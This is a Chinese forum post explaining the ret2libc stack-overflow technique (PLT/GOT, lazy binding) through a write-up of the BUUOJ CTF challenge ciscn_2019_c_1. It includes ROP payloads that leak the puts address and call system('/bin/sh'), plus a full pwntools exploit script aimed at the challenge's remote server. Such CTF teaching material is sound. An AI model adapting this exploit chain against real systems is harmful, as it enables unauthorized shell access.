] 本帖最后由 QwQ 于 2020-5-30 09:23 PM 编辑 [/i]
[md]ret2libc是栈溢出漏洞利用的一种常见手段。这种漏洞利用方式结合了很多利用方法及系统机制,如ROP技术、linux延迟绑定机制等。本文结合近期练习的几道ret2libc漏洞CTF题目,归纳其利用的过程。
原理
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。首先先解释一下上面出现的一些名词。
libc是啥?
libc 是 Linux 下的 ANSI C 函数库。是C语言最基本的库函数。可以把它理解为可执行程序的运行依赖。
PLT&GOT
linux下的动态链接是通过PLT&GOT来实现的,动态链接每个函数需要两个东西:
- 用来存放外部函数地址的数据段
- 用来获取数据段记录的外部函数地址的代码
对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表(GOT, Global Offset Table),那个存放额外代码的表称为程序链接表(PLT,Procedure Link Table)

可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址
那我们可以发现,在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制
延迟绑定机制
只有动态库函数在被调用时,才会地址解析和重定位工作。简单来讲,在一个binary运行的过程中,只有真正运行过的函数才真正被调用真实地址运行。当一个功能模块未被加载使用的时候,比如准备调用一个函数,会通过先在PLT表找到记录相对的GOT表项的内容,即可跳转真实地址运行调用函数。也就是所谓的地址解析和重定位。
一个实例
在上面整理了相关的理论原理,通过下面的这道题目来对应实践上述内容。这个binary来自BUUOJ的ciscn_2019_c_1难度不大,刚刚好是re2libc的利用漏洞。

程序根据不同的选项有不同的功能,载入ida中查看一下:

可以看到在encrypt函数内存在栈溢出漏洞。对应程序的功能选项则为1选项。

但是这里的算法会将我们输入的内容加密处理,这样我们构造payload时就无法直接实现我们攻击流程。所以第一步需要对这个算法进行处理。在这个算法中注意到strlen函数,这个函数的主要特性如下:strlen所作的是一个计数器的工作,它从内存的某个位置(可以是字符串开头,中间某个位置,甚至是某个不确定的内存区域)开始扫描,直到碰到第一个字符串结束符'\0'为止,然后返回计数器值(长度不包含'\0')。因此在这里我们只需要在payload开始的部分加入'\0'字符即可完成绕过。
还有一个需要注意的点就是,程序远程运行在乌班图18.04的环境下,因此在构造系统调用时需要使用ret先对齐。
利用思路
1.在漏洞函数输入前,有这样一段内容puts("Input your Plaintext to be encrypted");所以puts函数在我们输入前就已将运行完一遍了,因此可以尝试泄露这个函数的地址来获取目标系统中使用的libc版本。因此构造第一段payload,泄露这个puts函数的地址。payload如下:
payload = '\0' + (0x50-1 + 8)*'a' + p64(pop_rdi) + p64(puts_got)
payload+= p64(puts_plt) + p64(main)
首先就是用\0绕过加密算法,在补齐构造栈溢出的无用字符a,溢出后接ROP链再通过puts函数的plt表地址和got表地址泄露出puts真实的地址。最后在跳转回程序的开始,接第二段payload。
2.完成泄露后,使用 LibcSearcher 模块link出来libc基地址,并进一步通过libc基地址加偏移的方法找到libc中的system地址及/bin/sh地址从而完成系统调用。代码如下:
libc = LibcSearcher('puts',puts)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
3.构造第二次payload,这次为系统调用。将上一步骤中link出来的一些地址构造入payload中:
payload1 = '\0'+(0x50-1+8)* "b" + p64(ret_addr) + p64(pop_rdi)
payload1+= p64(binsh) + p64(system)
溢出后跳转到system(/bin/sh)从而完成系统调用,我想这里就不需要解释了。
完整exp
from pwn import *
from LibcSearcher import LibcSearcher
context.os='linux'
context.arch='amd64'
context.log_level='debug'
elf = ELF("./6")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
pop_rdi = 0x400c83
ret_addr = 0x4006b9
def get64addr():
return u64(io.recvuntil('\n')[:-1].ljust(8,'\0'))
#io = process('./6')
io=remote('node3.buuoj.cn',29305)
io.sendlineafter("choice!\n","1")
payload = '\0' + (0x50-1 + 8)*'a' + p64(pop_rdi) + p64(puts_got)
payload+= p64(puts_plt) + p64(main)
io.sendlineafter('encrypted\n',payload)
io.recvline()
io.recvline()
puts = get64addr()
print hex(puts)
libc = LibcSearcher('puts',puts)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
io.sendlineafter('choice!\n','1')
payload1 = '\0'+(0x50-1+8)* "b" + p64(ret_addr) + p64(pop_rdi)
payload1+= p64(binsh) + p64(system)
io.sendlineafter('encrypted\n',payload1)
io.interactive()
总结
通过示例程序我们可以直观的看到,ret2libc的利用过程,其中,包含了对PLT表及GOT表来完成地址泄露,并通过泄露的地址判断libc版本,从而进一步link出libc的基地址及与其相对偏移的系统调用参数地址。最终完成了系统调用。